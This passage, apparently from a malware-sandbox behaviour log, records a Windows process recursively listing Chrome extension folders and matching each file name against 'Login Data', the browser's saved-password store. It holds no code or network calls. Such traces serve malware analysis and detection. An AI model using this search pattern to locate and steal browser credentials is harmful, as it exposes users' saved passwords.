lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.292] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.292] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.292] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.292] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.292] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.292] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.292] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.292] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.292] lstrcmpiA (lpString1=".", lpString2="ko") returned -1 [0079.292] lstrcmpiA (lpString1="..", lpString2="ko") returned -1 [0079.292] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0079.292] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.292] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.292] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ko" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" [0079.292] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" [0079.292] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*" [0079.292] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.292] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.292] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.292] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.293] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.293] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.293] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.294] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.294] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.294] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.294] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.294] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.294] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.294] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.294] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.294] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.294] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.294] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.294] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.295] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.295] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.295] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.295] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.295] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.295] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.295] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.295] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.295] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.295] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.296] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.296] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.296] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.296] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.296] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.296] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.296] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.296] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.296] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.296] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.297] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.297] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.297] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.298] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.298] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.298] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.298] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.298] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.299] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.299] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.299] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.299] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.299] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.299] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.299] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.299] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.299] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.299] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.299] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.300] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.300] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.300] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.300] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.300] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.300] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.300] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.300] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.300] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.300] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.300] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.301] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.301] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.301] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.301] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.301] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.301] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.301] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.301] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.301] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.301] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.302] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.302] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.302] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.302] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.302] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.302] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.302] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.302] FindClose (in: hFindFile=0x6428e8 | out: hFindFile=0x6428e8) returned 1 [0079.302] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*", lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0x6428e8 [0079.302] StrStrIA (lpFirst="computed_hashes.json", lpSrch="Login Data") returned 0x0 [0079.302] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.302] StrStrIA (lpFirst="verified_contents.json", lpSrch="Login Data") returned 0x0 [0079.302] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0 [0079.302] FindClose (in: hFindFile=0x6428e8 | out: hFindFile=0x6428e8) returned 1 [0079.303] FindClose (in: hFindFile=0x6428a8 | out: hFindFile=0x6428a8) returned 1 [0079.303] FindClose (in: hFindFile=0x642868 | out: hFindFile=0x642868) returned 1 [0079.303] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*", lpFindFileData=0x12f7b2 | out: lpFindFileData=0x12f7b2) returned 0x642868 [0079.303] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\*.*", lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 0x6428a8 [0079.304] StrStrIA (lpFirst="icon_128.png", lpSrch="Login Data") returned 0x0 [0079.304] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0079.304] StrStrIA (lpFirst="icon_16.png", lpSrch="Login Data") returned 0x0 [0079.304] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0079.304] StrStrIA (lpFirst="main.html", lpSrch="Login Data") returned 0x0 [0079.304] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0079.304] StrStrIA (lpFirst="main.js", lpSrch="Login Data") returned 0x0 [0079.304] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0079.304] StrStrIA (lpFirst="manifest.json", lpSrch="Login Data") returned 0x0 [0079.304] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0079.304] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX\\*.*", lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0x6428e8 [0079.304] FindClose (in: hFindFile=0x6428e8 | out: hFindFile=0x6428e8) returned 1 [0079.304] FindClose (in: hFindFile=0x6428a8 | out: hFindFile=0x6428a8) returned 1 [0079.305] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*", lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 0x6428a8 [0079.305] StrStrIA (lpFirst="icon_128.png", lpSrch="Login Data") returned 0x0 [0079.305] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0079.305] StrStrIA (lpFirst="icon_16.png", lpSrch="Login Data") returned 0x0 [0079.305] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0079.305] StrStrIA (lpFirst="main.html", lpSrch="Login Data") returned 0x0 [0079.305] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0079.305] StrStrIA (lpFirst="main.js", lpSrch="Login Data") returned 0x0 [0079.305] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0079.305] StrStrIA (lpFirst="manifest.json", lpSrch="Login Data") returned 0x0 [0079.305] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0079.305] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*", lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0x6428e8 [0079.306] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.306] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.306] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.306] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.306] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.307] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.307] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.307] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.307] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.307] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.307] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.307] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.307] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.307] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.307] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.307] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.308] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.308] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.308] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.308] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.308] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.308] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.308] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.308] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.308] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.308] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.308] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.309] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.309] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.309] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.309] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.309] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.309] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.309] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.309] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.309] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.309] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.310] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.310] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.310] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.310] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.310] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.310] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.310] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.310] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.310] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.310] FindNextFileA (in: hFindFile=0x642928, 